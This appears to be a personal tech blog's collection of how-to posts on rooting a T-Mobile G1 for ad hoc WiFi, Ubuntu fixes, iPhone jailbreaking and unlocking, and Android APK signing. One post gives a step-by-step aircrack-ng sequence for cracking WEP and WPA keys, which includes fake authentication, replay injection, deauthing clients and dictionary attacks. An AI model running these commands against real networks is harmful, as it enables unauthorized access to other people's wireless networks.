How to connect to Ad Hoc networks using Tmobile G1 Android

Intro

The G1 does not connect to ad hoc networks through the wifi manager but we can hack it to allow scanning and connecting to ad hocs. I’ve been trying to figure this out for the longest time. Before you begin, you need to root your G1 and be comfortable using the command line. We will be editing tiwlan.ini and wpa_supplicant.conf. I will be showing you 2 ways to edit the files. Using vi and adb.


Settings

edit tiwlan.ini to read:

WiFiAdHoc = 1
dot11DesiredSSID = HydtechAdhoc (or whatever name u want)
dot11DesiredBSSType = 0

edit wpa_supplicant.conf to read:

ctrl_interface=tiwlan0
update_config=1
eapol_version=1
ap_scan=2 (tells wpa_supplicant to scan hidden networks)

network={
ssid=”HydtechAdhoc”
scan_ssid=1 (for APs with multiple SSIDS)
mode=1
key_mgmt=NONE
group=WEP104
auth_alg=SHARED
wep_key0=”MyWepKey” (replace MyWepKey with your key)
}

How to edit using vi:

Download terminal from the market and type:

su (for superuser mode)
mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system (mount partition as writable)
vi /system/etc/wifi/tiwlan.ini (open tiwlan.ini in vi text editor)

now type A to enter editing mode, finish editing your file and hold trackball+1 to stop editing. To save and exit type :wq

vi /data/misc/wifi/wpa_supplicant.conf (open file for editing)

edit with the settings given above and exit and don’t forget to change the partition back to read only
mount -o ro,remount -t yaffs2 /dev/block/mtdblock3 /system

reboot

How to edit files with adb on Ubuntu:

Connect your g1 to the computer using a usb cable and make sure USB debugging in enabled
Open up terminal and type
cd /home/hydtech/[android sdk folder]/tools (navigate to the directory which has you adb tool)

get the files from the device and place them in the root folder
sudo ./adb pull /system/etc/wifi/tiwlan.ini /
sudo ./adb pull /data/misc/wifi/wpa_supplicant.conf /

edit and save the files with the settings provided above using gedit or kate or what have you

make the partition read writable
adb shell
mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system
exit

place the files back onto the device
sudo ./adb push /tiwlan.ini /system/etc/wifi/tiwlan.ini
sudo ./adb push /wpa_supplicant.conf /data/misc/wifi/wpa_supplicant.conf

make partition read only again
adb shell
mount -o ro,remount -t yaffs2 /dev/block/mtdblock3 /system
exit

reboot device.

Troubleshooting

shows connected but no internet
1. I was having a problem where the connection would keep disconnecting and when it would connect, it wouldn’t load pages. To fix this I had to disable my WEP key.

SSID not showing
2. If the SSID isn’t showing up in the list, make sure you have ap_scan=2 in your wpa_supplicant

Unsuccessful connection
3. Try enabling static IP if DHCP isn’t working for you. It’s under advanced menu.

Sponsored by Chromehost.net

Loud beeps from speaker in Lenovo S10

The lenovo S series netbooks can get pretty annoying with the speaker beeping all the time. To disable the speaker beep while plugging and removing the charger, you can change the setting in the BIOS. If there is no option, you must upgrade the BIOS.

Other annoying beep sound when I shut down my Ubuntu. To get rid of this I blacklisted my pc speaker:

gedit /etc/modprobe.d/blacklist

add line
blacklist pcspkr

Save and reboot.

Cracking WEP & WPA with IBM Lenovo X60 – Basics

At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check www.aircrack-ng.org

Fix MBR and Grub with Ubuntu livecd

I traded my Lenovo X60 for a S10 netbook and a Nokia N810. So far it’s ok, however I miss the trackpoint. I swapped out the hard drive from the X60 and put it into the S10 and Ubuntu works fine. When I try to load Windows, it gives me a Disk read error (press Ctrl + Alt + Del to restart). I tried to fix it with a Windows CD, but managed to overwrite the grub bootloader. Heres what I did to fix it:

Fix MBR from Ubuntu:

1.I didn’t have an Ubuntu liveCD on hand so I took out the hard drive, put it in an external case and connected it to another computer running Ubuntu.
2. Downloaded the ms-sys program since its not in the repos anymore. ms-sys
3. sudo fdisk -l to find the disk number
4. sudo ms-sys -m /dev/sdb

Now I have the MBR but still get the same ctrl alt del error. I’ll take a look at it later.

Fix Grub:

1. Still using the external case
2. sudo grub
3. find /boot/grub/stage1
4. setup (hd1) <- root of the Ubuntu partition
5. root (hd1,3) <- this is where the Ubuntu install is
6. quit

Restart computer

How to Upgrade to 3.0.1 and Unlock iPhone 3g with baseband 2.30.03 & bootloader 5.09, 6.02, 6.04

First you will need cydia to download fuzzyband. When fuzzyband detects your modem version it will ask you to uprade. click on upgrade:

311986

* your screen will say OS 2.2.1

Now start up iTunes and update to the latest 3.0.1

updateupdate2

Download redsn0w here

Download the 3.0 ipsw file here

Extract the redsn0w zip file and start redsn0w.exe
Browse for the ipsw file and follow the directions.

After jailbreaking the phone, you need to unlock it with ultrasn0w.

Download ultrasn0w
Goto cydia -> manage -> sources -> edit -> add
enter http://repo666.ultrasn0w.com
16527
return to cydia, hit done and select the new repo you just added.

Install ultrasn0w and follow instructions.
16532

You are now unlocked!

FreeNX problems in Ubuntu, Gnome theme, screensaver, lock screen, show desktop, nxclient and nxserver

This problem started after an update. When I logged in using NX, I noticed that my theme looked very ugly. The show desktop button was some folder icons, the lock screen function wasn’t working, I noticed some errors in my terminal while trying to run X based tools: Xlib: extension “Generic Event Extension” missing on display “:1000.0”. And the gnome-settings-daemon kept crashing frequently.

From AAron44126 over at the ubuntuforums found the problem:

“Fixed. gnome-settings-daemon was crashing, see this bug.

Run gconf-editor.
Navigate to /apps/gnome_settings_daemon/plugins/keyboard.
Uncheck the “Active” box on the right.
Log out and log back in.”

Sign apk package files for publishing in the Android market with keytool and jarsigner on Ubuntu

Once you’ve completed your package with Eclipse and you want to publish it to the android market, google requires that you sign it.  For this step you need two tools.  Keytool and jarsigner can be obtained through JDK.

Open up terminal and install jdk:

sudo apt-get install sun-java6-jdk

Use keytool to make yourself a new key:

keytool -genkey -v -keystore mykeystore.keystore -alias aliasname -keyalg RSA -validity 10000

genkey – generate the key
v – verbose mode
keystore – select name of keystore
alias – creates an alias for the key
keyalg – specifies the encryption algorithm used to generate the key. Ex: RSA, DSA
validity – when should the key expire in days? (google requires like a 50 year expiry)

The keytool will walk you through the process of choosing a password and name.  Once the key is made, you need to sign the apk with jarsigner using this key:

jarsigner -verbose -keystore mykeystore.keystore programfile.apk aliasname

keystore – keystore containing your private key
verbose – verbose mode

You will be prompted for your password. You are ready to go.

OS X Leopard aHome Theme for Tmobile G1 Android

check it out. make sure you have aHome or aHome lite installed before applying this theme.

1249867475735

1249867494049

1249867537238